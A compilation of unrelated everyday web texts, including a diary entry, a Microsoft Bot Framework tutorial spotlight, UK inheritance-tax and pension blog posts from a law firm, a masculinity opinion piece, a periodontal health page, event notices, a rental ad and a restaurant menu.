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At home, all day on the day after the day of the first day of the new year. The dogs were bored and sick with our hermit-like existence by about 09.45 and pestered us both for much of the day. Meow did whatever Meow does during these times, vacation time for her while I focused on what I did last winter around this time: TOEIC. There's never as much to do as there is during TOEIC camp. And just once, nay twice, I might like to see what eight weeks of not working would be like.
But then I remember what it is like to be without work and get sad. But then I remember that in this circumstance, both sets of eight weeks' vacation each year are paid and get happy and elated. But then I remember that I generally go bananas without a steady stream of things to do and that going bananas only takes about four days and everything descends into murkiness, not showering, not sleeping, then sleeping for 18-21 hours, gorging my staving flesh, then fasting because I feel "puffy", then diving head first into some project or book and not coming up for air or bathroom breaks.
Vacations are sick and Naughty (above) knows it.
The Daily Bullet


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Welcome to another Tuesday TNWiki Article Spotlight.
In today's spotlight, we talk about the Microsoft Bot Framework. This methodology allows developers to build, connect, test, and deploy intelligent bots to interact with users. Bots can communicate conversationally with text, images, cards, or speech.
Bots can be integrated with your website or app, or third-party connectors like Cortana, Skype, Teams, Office 365 mail, Slack, Facebook Messenger, Skype for Business, and many others. They can also use new Microsoft technologies like Microsoft Azure Cognitive Services and Language Understanding Intelligent Service (LUIS) for natural language interactions. Bots can also connect with REST APIs to leverage existing data.
To understand how to get started with the Microsoft Bot Framework, Chervine Bhiwoo has created a four-part series. He begins with an introduction to the framework and then works through a sample project on adding LUIS and Microsoft Cognitive Services to send a message to the Bing News API so it can retrieve the correct news results.
Here is the series:
- Microsoft Bot Framework Basics: Building Intelligent Bots (Part 1)
- Microsoft Bot Framework Basics: Building Intelligent Bots - Adding Language Understanding Capability (Part 2)
- Microsoft Bot Framework Basics: Building Intelligent Bots – Adding Bing News API (Part 3)
- Microsoft Bot Framework Basics: Building Intelligent Bots – Adding Sentiment Analytics (Part 4)
If you ever wanted to know more about the Microsoft Bot Framework, start with these posts.
by Ken Cenerelli (Twitter, Blog, MSDN Profile, MVP Profile)


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Fun is in the cards for you. This amazing cardmaking and embellishing system creates cards for any occasion, while transforming ordinary cardstock into elegant embossed art with the help of Sizzix Textured Impressions Embossing Folders. Resembling an ornate purse with a beaded handle (measuring 8″ x 5″ x 9″, plus 2 1/2″ handle), this fashionable cardmaker embosses and embellishes in just seconds, using Textured Impressions Embossing Folders (sold separately). Included with the Texture Boutique Embossing Machine is a pair of Embossing Pads and one Mylar Shim. Please note, the Texture Boutique Embossing Machine embosses only; it does not die-cut.
Transforms ordinary card stock into beautifully embossed works of art.
Make cards for any occasion.
Now it's easy to make embossed cards and envelopes for any occasion. The Sizzix Texture Boutique Embossing Machine is light weight and small, but solidly built. It's an affordable embosser that's perfect for beginners or experienced crafters alike.
Transforms ordinary into extraordinary.
Embossing folders are the key to transforming ordinary card stock and paper into amazing 3-dimensional art. The Sizzix Texture Boutique Embossing Machine works with size A2 (4.25 x 5.50 inches) embossing folders from Sizzex and other manufacturers. Makes a great gift.
Compact size fits any space.
The Sizzix Texture Boutique Embossing Machine is perfect for small craft areas with limited space. It embosses beautifully like larger machines, but it's light weight makes it portable and easy to move. Perfect for craft and scrapbooking parties. Provides endless hours of fun and creativity.


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Category Archives: Tax Planning
Understanding Inheritance Tax…
Inheritance tax is a tax that, if due, is payable upon a person's death. Whether it needs to be paid depends on how much the deceased person's estate is worth, and who is inheriting.
When does inheritance tax need to be paid?
If the total value of an estate is over £325,000 (nil rate band), then inheritance tax will need to be paid. It is charged at 40% on any amount over £325,000.
What is included in a person's estate?
An estate includes all of the assets which the deceased owned or was entitled to on the day they died. This can include things like property, money, shares, investments, pensions, and possessions.
How can you reduce inheritance tax?
There are exceptions which can help to reduce inheritance tax. For example:
Spouse exemption
Spouses and civil partners are exempt beneficiaries. So inheritance tax does not need to be paid, regardless of how much an estate is worth.
Charity exemption
Where at least 10% of an estate is left to charity, inheritance tax can be paid at a reduced rate of 36%. Where the whole estate is left to a charity, inheritance tax does not need to be paid at all.
Transferable nil rate band
Everyone is entitled to a nil rate band for inheritance tax. Assets that pass from one spouse or civil partner to another are exempt from inheritance tax. So, if someone dies and leaves everything to their spouse or civil partner, they won't use any part of their allowance. This can be transferred to the second person's estate leaving a nil rate band of up to £650,000 when they die.
Residence nil rate band
This is available in addition to the inheritance tax nil rate band. It is possible when a home is passed on death to a direct descendant. In 2018-19, if a property is left to children or grandchildren a residence nil rate band of £125,000 can be added to the original nil rate band. So the total threshold will increase to £450,000.
Transferable residence nil rate band
The residence nil rate band can also be transferred between spouses and civil partners. This only applies if the deceased had a spouse or civil partner who died before 6 April 2017, or if they died after this date but did not use all their available residence nil rate band.
Inheritance tax comes out of the estate funds. It is payable by the person who is dealing with the estate (the executor or administrator), and they can be held responsible for any errors in payment.
Find out about our Inheritance Tax Planning service on our website here: https://www.legalmatters.co.uk/inheritance-tax-planning.php. Call us on 01243 216900 or email us at email@example.com.
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Critical Event Protection…
What is Critical Event Protection and is it relevant to me?
If you are a member of a Death in Service Scheme, if you have a separate Critical Illness and Life Insurance Policy or even if you have a Pension Plan, you should look at Critical Event Protection.
What are these schemes and policies for?
Death in service schemes are often part of your employers' group policy scheme which provides a lump sum for family or to cover the death of a shareholder in a business.
Critical illness policies produce an income supplement in the event of a critical illness and on death there is usually a lump sum paid.
Life insurance policies may make provision to cover inheritance tax, provide a lump sum for family or to cover the death of a shareholder in a business.
An occupational or self-invested pension plan may have a lump sum which will be paid on death.
What happens to these assets when I die and why would I need Critical Event Protection?
These valuable assets usually only pass to your next of kin if you've nominated them. If you haven't, they go into your estate and may then become subject to Inheritance Tax at 40%. In this way, sometimes funds are wasted or end up with people you don't even know yet, for example if your current partner or next of kin starts a new relationship.
How can I protect these assets for my dependents?
Using a trust preserves the use of these funds for your dependents, avoids direct ownership, can avoid the need to incur estate administration costs and may save inheritance tax. A trust protects and ringfences these lump sum proceeds and means a quick claim by the trustees upon your death can make the funds available in a protected trust environment to meet family costs.
At legalmatters, we have put together a simple solution, which will enable you to deal with these valuable assets, called Critical Event Protection.
To find out more, download the Critical Event Protection Guide or speak to one of our legal team on 01243 216900 or e-mail email@example.com.
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What can legacy giving do for your tax bill?
Who are you going to leave money to in your Will? Your spouse or partner is probably first in line, any children or extended members of the family may pop up here and there too.
But what about charity?
Thousands of people every year choose to leave a gift to charity in their Will, whether it's a fixed amount, a fixed percentage of their estate or even just what's left after other gifts have been handed out to their surviving loved ones.
It doesn't have to be a charity that you've been particularly involved with during your life either – you can leave money to any registered charity.
There's another bonus to doing this, besides simply helping a good cause. Legacy giving – where you leave money to a charity – can also reduce your inheritance tax bill.
With inheritance tax, you – or rather your estate – is charged a rate of 40% on every £1 that the estate is valued above the nil rate threshold, which currently stands at £325,000 (though couples essentially enjoy a £650,000 threshold).
However, when you leave money to charity, it won't count towards the value of the rest of your estate, giving you the opportunity to reduce the value of your estate below that threshold, ensuring no further tax is payable.
Even if your estate is still valued about the threshold, charitable giving can help reduce your tax bill. If you leave 10% of your net estate to charity, then the inheritance tax charged on the remainder of your estate falls from 40% to 36%, a reduction which could see the estate save thousands of pounds in tax.
Many of us regularly give to charitable causes while we're alive. To do so after your death will not only help support good causes with some of your estate, but for your beneficiaries there are tax benefits that can come with it. Obviously, you should discuss this carefully with your loved ones and your will writer when drafting your Will.
It's important for you to be clear when drawing up legal documents. Legalmatters can help, we're always happy to discuss your needs or answer your questions. Call us today on 01243 216900 or email us at firstname.lastname@example.com for further details.
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Grandparents and gifting options…
Many grandparents are intending to gift their grandchildren financially, with recent research from Saga suggesting that more than £37bn has passed from grandparents to their grandchildren.
Part of this is down to the fact that older people are worried about their grandchildren's future. The increase in cost of houses, cars and the day to day necessities mean they're likely to suffer financially and be much worse off than those of generations gone by.
So how could you go about helping out your younger relatives?
Skipping a generation
According to the research, around 14% of parents are skipping a generation and are instead looking to leave assets to their grandchildren.
Making use of a gift allowance
In certain scenarios, grandparents are choosing to give money without causing a tax event such as a £3,000 annual gift allowance. This can cover financial gifts which can be passed over each year, free of Inheritance Tax. Additionally, grandparents can also give away up to £250 to any number of people each year.
Putting it in a trust
With a discretionary trust, it is up to the trustees to determine how and when any potential beneficiaries may be able to access the cash. You can appoint yourself as the trustee, so that you have final say over where the money goes, or you can go for an independent trustee. What's more, the money within the trust is classed as separate from your estate, so it's free of Inheritance Tax.
There are also bare trusts, which mean the grandchildren would be completely entitled to whatever is in the trust once they reach 18. Unlike the discretionary trust, the beneficiaries are fixed, so once the trust is declared it is not possible to add (or remove) beneficiaries.
It's important that you consider where and to whom you want your assets to go to – a comprehensive will is the only place where you can formally set this out.
Don't keep putting it off. Speak to legalmatters today to make sure that your final wishes are carried out. Call us on 01243 216900 or email us at email@example.com.
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Importance of business succession planning…
You've spent years building up your business, but have you given any thought to what will happen when you die?
Do you have an exit plan, and if not, how do you go about building one?
First of all you must decide what you want to happen.
Do you want it to be sold? If that's your goal then how do you make it as healthy and profitable as possible to get the best price when the time comes to sell?
If you have children, do you want them to take over your business, are they able to and do they want to? If you have more than one child, do you want all your children involved; should they own it and someone else manage it?
If you are handing the business on, then you still want it to be in good shape but you also need to think about who will take it over, what training they might need and whether you need to mentor them.
It's obviously very important to have a Will in place which will detail how you want the business to be passed on and to protect it from inheritance tax. Your business assets may qualify for relief from inheritance tax or there may be things that you can do to reduce the impact of the tax.
For instance, did you know that business relief for inheritance tax reduces the value of a business or its assets for inheritance tax purposes when you die?
The proceeds could one day become taxable for your beneficiaries, so it may well be wise to establish a Business Property Relief Trust which will ensure that the relief is protected.
If you'd rather your family receive money than the responsibility of taking over your company, then have you considered a share purchase agreement? This allows surviving business owners to buy your shares when you die.
To find out more about the different approaches to ensuring your business is protected for your beneficiaries, contact legalmatters. Call us on 01243 216900 or email us at firstname.lastname@example.com to discuss your particular situation.
Business Property Relief; none of your business
Tax. Famously one of life's inevitabilities, it is a necessary evil that can't be avoided (just ask Al Capone).
Rightly or wrongly, inheritance tax is often named as one of the UK's most hated taxes. Thankfully, with the introduction of the Residential Nil Rate Band earlier this year, we are in a much more fortunate position than we have been previously. Theoretically, a married couple can now leave up to £1 million pounds to their descendants without paying a penny to HMRC, but is there anything else you can do to avoid your estate going to the tax man? If you have a business interest or run your own company then indeed there is. So sit down at the back and pay attention.
If you have owned a business for at least two years prior to your death, your executors will be able to claim Business Property Relief (BPR) on certain business assets. Good news, huh? It gets better. Qualifying assets can obtain relief of up to 100%. That means that even if the assets are worth £1 billion, you can give them away without paying a penny in tax.
You can get 100% business relief on a business or interest in a business, or shares in an unlisted company, while 50% relief is available on:
- shares controlling more than 50% of the voting rights in a listed company;
- land, buildings or machinery owned by the deceased and used in a business they were a partner in or controlled; and
- land, buildings or machinery used in the business and held in a Trust that it has the right to benefit from.
It's important to be aware that you can't claim business relief if the asset is not needed for future use in the business.
What's more, business assets can actually be given away while the owner is still alive and qualify for business relief. However, certain criteria need to be met – for example, the recipient must keep them as a going concern until the death of the donor.
Despite the booming buy-to-let industry, it should also be clarified that rental property does not qualify for the relief, as it does not meet the criteria of 'trading'. A business which only generates investment income will not attract BPR, so this excludes:
- A residential or commercial property letting business
- A property dealing businesses
- A serviced office business.
Some business activities are borderline: whether they will qualify for relief depends on the nature of services provided, typically these include holiday businesses, property management and caravan parks – where there is letting, holidays and caravan sales.
Business property relief can make a huge difference to the eventual inheritance tax bill of your loved ones and can also help with succession planning. But it requires careful planning in order to ensure it is available when you need it. Dictating exactly what happens to your assets after you die is incredibly important, whether you own a business or not, and a Will is the best way to do that. It is a terrific way to reduce the uncertainty and upset your loved ones face after you pass away.
If you own a business, or are interested in becoming a business owner, and would like advice on how to include this within your Will, talk to legalmatters. Check your eligibility and ensure that what HMRC is entitled to, is none of your business.
How Pensions Have Changed
It's just over two years since the pension reforms were introduced to give people more choice in accessing their pensions. One of the benefits it's brought is that it is encouraging people to think more about their pensions when they're younger.
According to research by Aegon, 15% of people have realised they need to plan more for their retirement. The number of people talking to an advisor has almost doubled in the last 12 months.
What is particularly good to hear is that since the reforms, 14% of working age people are saving more in their pension pot. As a result, there has been a big jump up since April 2015 in the average amount that people have saved, from £29,000 to £50,000.
Just as it's important for people to seek advice on how to grow their pensions, the new freedoms mean that people should equally take advice to manage when and how much they take out at retirement.
There may be a temptation to withdraw a large sum and leave yourself with too little to enjoy in a long retirement. Before splashing out on a long, exotic holiday, it pays to take a moment to think about some of the costs you may need to prepare for now.
When planning for your future, you may need to consider funeral and possible future care costs, as well as any outstanding debts. If you have built up a large pot and plan to invest it, you will need solid financial advice to ensure you get the best return.
Figures from HMRC show that many people are taking advantage of the freedom to withdraw money from their pension pot after the age of 55. During the last year, an average of 164,000 people withdrew money each quarter. The average withdrawal per individual was nearly £9,900.
The beauty of the pension reforms is that people have more choice to decide what to do with their pension pot. There are 6 options once you get to age 55:
1. Leave the pot until a later date
2. Buy an annuity
3. Invest the pot to produce an income
4. Withdraw cash in chunks
5. Withdraw the whole pot in one go
6. A mix of the above
Many people are still following the traditional route of buying an annuity, but as the figures go to show, many are also enjoying their new-found freedom. But the choices you make at retirement may have a big implication on the inheritance tax your dependents will need to pay.
It is worth discussing this with both your financial advisor and your Will writer. It's a complex area and in some situations, it may be advisable to set up a Trust.
For advice on planning your Will please contact legalmatters today on 01243 216900 or email us at firstname.lastname@example.com.
The Forsyth Saga
Last Friday, news broke of the sad death of Sir Bruce Forsyth. The former Strictly Come Dancing host and all round National Treasure passed away at the age of 89, following a lengthy battle with illness.
Reports in various national papers have since detailed the star's alleged estate planning which, according to 'a friend', was done in an effort to "avoid it being gobbled up by the taxman". By all accounts, Sir Bruce has left all of his £17million estate (didn't he do well?) to his wife outright where it has then been widely reported that his widow Wilnelia will then "be able to transfer up to £650,000 to each relative tax free to avoid inheritance tax".
Whilst is it true that legacies to spouses are free from inheritance tax by virtue of the spousal exemption, legalmatters shakes its head at the level of misinformation reported. Quite frankly it doesn't even know where to start with dissecting what a flawed and short-sighted piece of alleged tax planning this represents, but here goes.
So what is the actual position (if indeed these were his wishes) and why might it be regarded as a potentially reckless and ineffective idea?
First of all, the tabloid press have been quoting the figure of £650,000 supposedly available for Wilnelia to generously distribute 'to each relative' once Sir Bruce's legacy has been transferred. Each relative!?! If this was the case, then the majority of estate planners would be out of a job and considered, surplus to requirements.
It would appear that the press have confused the level of transferrable nil rate band available to the surviving spouse on death with what an individual is able to give away tax free during their lifetime. Whilst Wilnelia would indeed be able to benefit from her late husband's inherited nil rate band of £325,000 to combine with her own on her death, her late husband's nil rate band is not something that she would be free to make use of during her lifetime. The articles also totally disregard the newly established 'residential nil rate band' that this tax year alone would have increased the late entertainer's tax free allowance by an additional £100,000 (but latterly would allow a combined nil rate band of £1,000,000 if left to lineal descendants).
Any legacy left to a spouse is free of tax by virtue of the spousal exemption. Wilnelia is, of course, free to make gifts to whoever she likes during her lifetime. As long as she were to live another 7 years following such gifts (of any monetary value) these would also be inheritance tax 'free'. Quite honestly, she could gift the full £17 million equally amongst his 6 children (or whoever she so wishes) as soon as she had received the monies from probate, should she be so inclined, but therein lies the issue.
If indeed this is the arrangement, there is NOTHING obliging Wilnelia to carry out the 'wishes' of her late husband. Outright gifts by their very nature, leave the recipient free to do whatever they like with the legacy. Despite 'wishes' or 'instructions' from the deceased, there is nothing legally binding to see that these are fulfilled. The deceased is simply requesting the recipient to make distributions and is hoping that this will be carried out. Whilst this level of trust is admirable, the private client practitioner knows more than most that trusting your relatives to 'do the right thing' on your death is a dangerous assumption.
Let us assume that, despite having no legal obligations to do so, the recipient of the legacy has every honourable intention of making these posthumous gifts. They themselves would need to survive another 7 years which is always a risky proposition. What instead, if they were to lose mental capacity and unable to make such transfers? Michael Schumacher's tragic accident and resultant circumstances have shown that age, wealth and level of fitness have nothing to do with a lack of mental capacity and inability to manage your own affairs. How can we be sure that Wilnelia shall live a long and untroubled life, free of illness and incapacity? Her ability to make gifts from her late husband's fortune and to therefore share the wealth and to reduce her own liabilities to inheritance tax is dependent on her being mentally fit and well; certainly, any attorneys that she may have appointed won't be able to undertake such tax planning ventures without court authority (another common misconception).
So what might Sir Bruce have done to make provision for his children and grandchildren (and indeed he could well have done, because we are commenting on the reporting, not on actual events)?
Lifetime gifting would have been the best starting point. If carried out wisely and cautiously, after careful advice and taking all needs of the parties into due consideration, then lifetime gifting is an excellent way of reducing your tax bill.
And what about the use of trusts? Despite trusts having their own particular tax regimes, they are immensely useful structures to protect and preserve assets against unknown circumstances. Tax shouldn't necessarily always be the driver, particularly where significant wealth is concerned.
Finally, any charitable giving would have the double benefit of not only being exempt from IHT for the legacy itself, but it could also have reduced his IHT rate to 36% if he had left 10% or more of his total estate to charity. A Brucie bonus if you will.
For the papers to glibly report that Sir Bruce has 'in one fell swoop' cannily avoided inheritance tax and at the same time ensured that his wealth lands where he would wish is, in our humble opinion, grossly underestimating the risks and potential issues at hand and is in any event based on apparent mis-reporting of the facts.
Make sure that your wishes are adequately enshrined in the correct, binding, legal documents as the road to court is paved with good intentions. Nice to sue you, to sue you, nice. Speak to a member of the team at legalmatters on 01243 216900 or email us at email@example.com to find out more.
What Happens when the Queen Dies?
Queen Elizabeth II has been alive for longer than most of us and yet it seems hard to believe that she will one day die. However, there are many plans already in place to deal with this eventuality.
The responsibility for dealing with the news first falls to the Queen's private secretary, who will inform the Prime Minister. From there, the Foreign Office will notify the Commonwealth nations.
The national and world press will also be told and shortly afterwards a footman at Buckingham Palace will pin a notice to the gates announcing her demise. This will be replicated on the Palace website too.
Television and radio programmes will be interrupted with an announcement of her death. Similarly, to the deaths of Kennedy and Princess Diana, you will undoubtedly remember where you first heard the news.
Social media will likely erupt and you may well hear it here first.
The country will enter into an immediate period of mourning. Parliament will be recalled and Charles will become King – unless his mother outlives him and then it will fall to the next in line, William.
Under common law, the wife of a King is automatically referred to as Queen, so despite any question marks over Camilla's role, she will become Queen Camilla.
In the event that the Queen dies abroad, she will fly home by an RAF jet. From Balmoral, she will travel back on the Royal Train.
She will return to Buckingham Palace, flags will lower and bells will toll across the nation.
In the time between her death and funeral, thousands of people will be involved in the myriad of activities surrounding a monarch's death.
Invitations will be issued for her funeral. Government departments will coordinate with the police, security, armed forces and transport to ensure the safety of the politicians, heads of state and public that will be attending and lining the streets.
The words to the National Anthem will be amended and new postage stamps and currency will be created.
Charles will be expected to make his first address as Head of State on the evening of his mother's death. He will be proclaimed King the following day and will then commence a tour visiting Edinburgh, Belfast and Cardiff to attend remembrance services.
Television schedules will change. Some sporting fixtures may be cancelled and books of condolence will appear in town halls nationally and embassies around the world.
The Queen will be moved to Westminster Abbey to lie in state for several days. Four soldiers will guard her at all times and it's thought the Queen's children and grandchildren will arrive unannounced to stand vigil as well.
The day of the funeral will be a national day of mourning and a public holiday. The Archbishop of Canterbury will lead the service and afterwards her coffin will be taken to Windsor to be interred in the royal vault.
These plans will ensure the event will occur as smoothly as possible. If you'd like to ensure you have the right plans in place for after you're gone, call us on 01243 216900 or email us at email@example.com.
Retirees Seek Advice After Brexit
When the UK made the decision to depart the European Union last year, the actual departure seemed a long way off. Although the thought of leaving loomed, the process of exiting was thought of as distant – simply another thing for politicians to worry about.
As we begin to enter the negotiations, however, it seems that the 'keep calm and carry on' attitude is faltering, especially among retirees.
According to recent research, 14% of those who have retired are worried about the impact of Brexit on their pension, with 19% saying they are now much more likely to seek financial advice.
Although market volatility was almost certain in the initial aftermath of the referendum, most believed that the markets would calm after the storm. However, retirees believe that the clouds haven't cleared just yet; over one in four predict that any negative impact on their pension will be for the long-term.
It's obvious that people are worried about the consequences of leaving the EU, but some have gone further than just expressing their concern. Due to Brexit anxieties, just over one in ten of those who had made plans to retire in 2017 have actively postponed their retirement, with 6% even changing the country that they planned on retiring to.
Having looked at these figures, you might be under the impression that just about everyone is worried about the impact of Brexit on their pension. It is though important to balance the numbers of those who are concerned, against those who are less so. In fact, the figures show the majority of people (67%) felt their retirement plans had not been affected by Brexit at all. One in eight even thought that leaving the EU would impact their pensions in a positive way.
Retirement expert at Prudential, Kirsty Anderson, commented on the concerns of retirees, as well as the importance of seeking advice:
"As you would expect, for many people who have been planning and saving for their retirement for most of their working lives, even the biggest of political upheavals won't make a difference to their long-term plans. But with one in three new retirees telling us that their retirement plans have been affected by the referendum result, it is clear that uncertainty is having an impact for some."
Although worrying is a natural reaction to being unsure about something, it's rarely helpful. Rather than providing an answer, it just allows the concern to escalate and often causes us to worry even more. It might be impossible to know how Brexit will affect you exactly, but adequate planning will at least make your financial future a little more certain.
As well as guiding you through the process, talking to an expert at legalmatters can help clear up any concerns you may have. Be more certain about your future by speaking to one of our professional team today – call us on 01243 216900 or email us at email@example.com.


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Women and boys hero-worship. Men look to themselves.
It's one of the ways you can tell if society has wussified you. If you get all giddy and excited seeing some strong male role model figuratively putting down his Manhood. If you get a bit obsessed about it it's called a "man crush" in some circles. It's the exact same thing as a girl gushing and squealing when her Manly partner comes down, picks her up and walks away with her. She looks up to a strong male figure and wants to be owned and filled, literally and figuratively, with purpose, direction and strength.
Girly-men do this a lot, voluntarily or unknowingly. They look up to some masculine figure, whether parent, celebrity, or someone else, and instead of being driven from within try to leech it off of someone they feel is stronger than them.
This is not the same thing as cheering for a sports team. Men can revel in skill, strength and challenge, that's great. What they can't do, what they're utterly incapable of doing, is internally putting some other guy on a pedestal above them. As soon as that starts happening to Men, it stops, because it's transformed into a fiery competitive drive.
This is not the same thing as having a mentor. The wisdom of other, fully-realized Men is invaluable. But they are NOT. BETTER. THAN. YOU. Get that through your head. And get all this bullshit hero worship out.
A part of this is that people have overactive imaginations. They see someone on the big screen, or in a position of power, and extend the superficial image they've seen to cover all aspects of this person's life. But that's a fantasy. Everyone's a human being, everyone's flawed, and even the manliest Men have moments of weakness. Whatever bullshit fantasy you have about whoever would dissipate quickly if you saw them at their weakest. The only way worship works is if you ignore the truth, the weaknesses which characterize someone else. Because if you realize that everyone's a simple human being, than how can you worship them? If everyone's similarly flawed, then you might as well worship yourself. Worship only works if a person is an unblemished, uniform God with no weaknesses or faults, or you can trick yourself that he is. Once you start seeing someone for who they truly are, you start seeing similarities with yourself. Which is a good thing, because you can't be friends with Gods, and Gods cannot be friends with worshippers. They're way too damn annoying.
Let go of obsession and hero worship. Find your role model in the mirror and
Just Be a Man.


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Research studies have shown that there is a strong association between periodontal disease and other chronic conditions such as diabetes, heart disease, pregnancy complications and respiratory disease.
Periodontal disease is characterized by chronic inflammation of the gum tissue, periodontal infection below the gum line and a presence of disease-causing bacteria in the oral region. Halting the progression of periodontal disease and maintaining excellent standards of oral hygiene will not only reduce the risk of gum disease and bone loss, but also reduce the chances of developing other serious illnesses.
Common cofactors associated with periodontal disease:
Research has shown that individuals with pre-existing diabetic conditions are more likely to either have, or be more susceptible to periodontal disease. Periodontal disease can increase blood sugar levels which makes controlling the amount of glucose in the blood difficult. This factor alone can increase the risk of serious diabetic complications. Conversely, diabetes thickens blood vessels and therefore makes it harder for the mouth to rid itself of excess sugar. Excess sugar in the mouth creates a breeding ground for the types of oral bacteria that cause gum disease.
Heart Disease
There are several theories which explain the link between heart disease and periodontitis. One such theory is that the oral bacteria strains which exacerbate periodontal disease attach themselves to the coronary arteries when they enter the bloodstream. This in turn contributes to both blood clot formation and the narrowing of the coronary arteries, possibly leading to a heart attack.
A second possibility is that the inflammation caused by periodontal disease causes a significant plaque build up. This can swell the arteries and worsen pre-existing heart conditions. An article published by the American Academy of Periodontology suggests that patients whose bodies react to periodontal bacteria have an increased risk of developing heart disease.
Pregnancy Complications
Women in general are at increased risk of developing periodontal disease because of hormone fluctuations that occur during puberty, pregnancy and menopause. Research suggests that pregnant women suffering from periodontal disease are more at risk of preeclampsia and delivering underweight, premature babies.
Periodontitis increases levels of prostaglandin, which is one of the labor-inducing chemicals. Elevated levels of prostaglandin may trigger premature labor, and increase the chances of delivering an underweight baby. Periodontal disease also elevates C-reactive proteins (which have previously been linked to heart disease). Heightened levels of these proteins can amplify the inflammatory response of the body and increase the chances of preeclampsia and low birth weight babies.
Respiratory Disease
Oral bacterium linked with gum disease has been shown to possibly cause or worsen conditions such as emphysema, pneumonia and Chronic Obstructive Pulmonary Disease (COPD). Oral bacteria can be drawn into the lower respiratory tract during the course of normal inhalation and colonize causing bacterial infections. Studies have shown that the repeated infections which characterize COPD may be linked with periodontitis.
In addition to the bacterial risk, inflammation in gum tissue can lead to severe inflammation in the lining of the lungs, which aggravates pneumonia. Individuals who suffer from chronic or persistent respiratory issues generally have low immunity. This means that bacteria can readily colonize beneath the gum line unchallenged by the body's immune system.
If you have questions or concerns about periodontal disease and the mouth-body connection, please ask Dr. Ko. We care about your overall health and your smile!
"Dr. Ko and his incredible staff are the reason that I haven't switched dentisits since 2002. He and his team are so good, that I have commuted from Santa Cruz, and now Sacramento for all of my appointments. I am very particular about my oral health and have dealt with many dentists. None of whom can match Dr. Ko and his teams' personality, skill and care. They actually make going to the dentist something to anticipate with a smile."
Scott G., Sacramento
"When I was in to see Dr. Ko last week I was in the chair waiting for him to come in and I felt this incredible gratitude for the commitment to excellence that he lives by. I know that without a doubt I will get the best care possible. His office is outfitted with all of the latest technology, including digital x-ray. Any thing can be explained with ease, (and I usually ask questions). Dr. Ko is an excellent person with great skills, and I have recommended several of my friends over the years to his care. I hope and pray for his continued success."
Ralph M., San Ramon
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The Public Library of Charlotte & Mecklenburg County (PLCMC), TeachingBooks.net, and Chicago Public Schools Department of Libraries and Information Services are producing and hosting "A Festival of Authors," a virtual literary celebration that will take place Saturday, February 2, from 10 am to 2 pm PST (1 pm – 5 pm EST), in Teen Second Life. This event will showcase selected authors of young adult literature for a teen audience in an exhibition that provides author information and links to podcasts, videoclips, and a wealth of author website links. There will also be avatar appearances by noted authors Marc Aronson (10 am PST/1pm EST), Barry Lyga (11 am PST/2pm EST), and Carol Baldwin (12 pm PST/3pm EST) on the teen grid.
Teen Second Life (http://teen.secondlife.com) is a 3D virtual world where teens can learn valuable 21st century skills and build a variety of developmental assets as they engage with their peers from all over the world, communicate in multiple media formats, and express their identities through their own virtual appearances.
For details, visit this blog site: http://blogs.cuip.net/dlis/festival-of-authors. [Note to adults - A similar exhibition will be taking place on the main grid of Second Life at the same time. See the blog site for more information.]
Source: TeachingBooks.net, www.teachingbooks.net


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Dance Competition
Accommodations for Teams & Families attending the Blue Mountain Dance competitions near Collingwood, Ontario.
Blue Mountain Resorts holds numerous dance competitions throughtout the year. These dances have included:
Tyrolean Village Resorts offers affordable Cottage Rentals for groups, families and teams at the base of Blue Mountain. Cottages include a full kitchen, BBQ, sauna or hot tub, living room, dinning room, and are walking distance to the dance competition at Blue Mountain. Cottages range in size from 4 bedrooms to 10 bedrooms. Call for the best price 416-213-7437.


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Small plate… Sea bass Tacos $16.95
Flash fried sea bass tacos tossed with sweet chili reduction, chiffonade spinach, pico de gayo, and finished with ponzu sauce.
SMALL PLATE… Tuna tar tar $12.95
Ahi tuna with a sweet chili marinade, julienne european cucumbers, crispy root vegetables, and a wasabi aioli.
ENTRÉE… Surf and turf $31.95
Grilled 4oz filet mignon medallion with a cognac mushroom demi glaze, and a korean barbeque quinoa salad.
Maine 4oz lobster served with clarified butter, bacon macaroni and cheese, and sauteed asparagus.
ENTRÉE… Braised boneless shortrib $26.95
Braised boneless short rib served with a potato artichoke hash, grilled broccolini, and a peppercorn demi glaze.
ENTRÉE… southwestern barbeque salmon $27.95
Grilled 8oz scottish salmon topped with a hickory barbeque glaze, southwestern hominy grits, and sauteed green beans


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Girls With Issues Comic Book Club
Girls With Issues Book Club Night is the 1st & 3rd Wednesday of the month.
Girls With Issues is a comic book club for all those who are interested in hanging out and talking comics with fellow female comic fans! LGBTQIA+ & non-binary folks welcome!
For the next meeting, we will be reading VICTOR LAVALLE'S DESTROYER by Victor Lavalle, Dietrich Smith & Micaela Dawn!
"From award-winning novelist Victor LaValle (The Changeling) and illustrator Dietrich Smith (Shaft: Imitation of Life) comes an intense, unflinching story exploring the legacies of love, loss, and vengeance placed firmly in the tense atmosphere and current events of the modern-day United States.
When the last descendant of the Frankenstein family loses her only son to a police shooting, she turns to science for her own justice… putting her on a crash course with her family's original monster and his quest to eliminate humanity."
All selected reading will be offered at 20% off until the meeting! If you have any questions about the book club, please contact us or stop in and ask!
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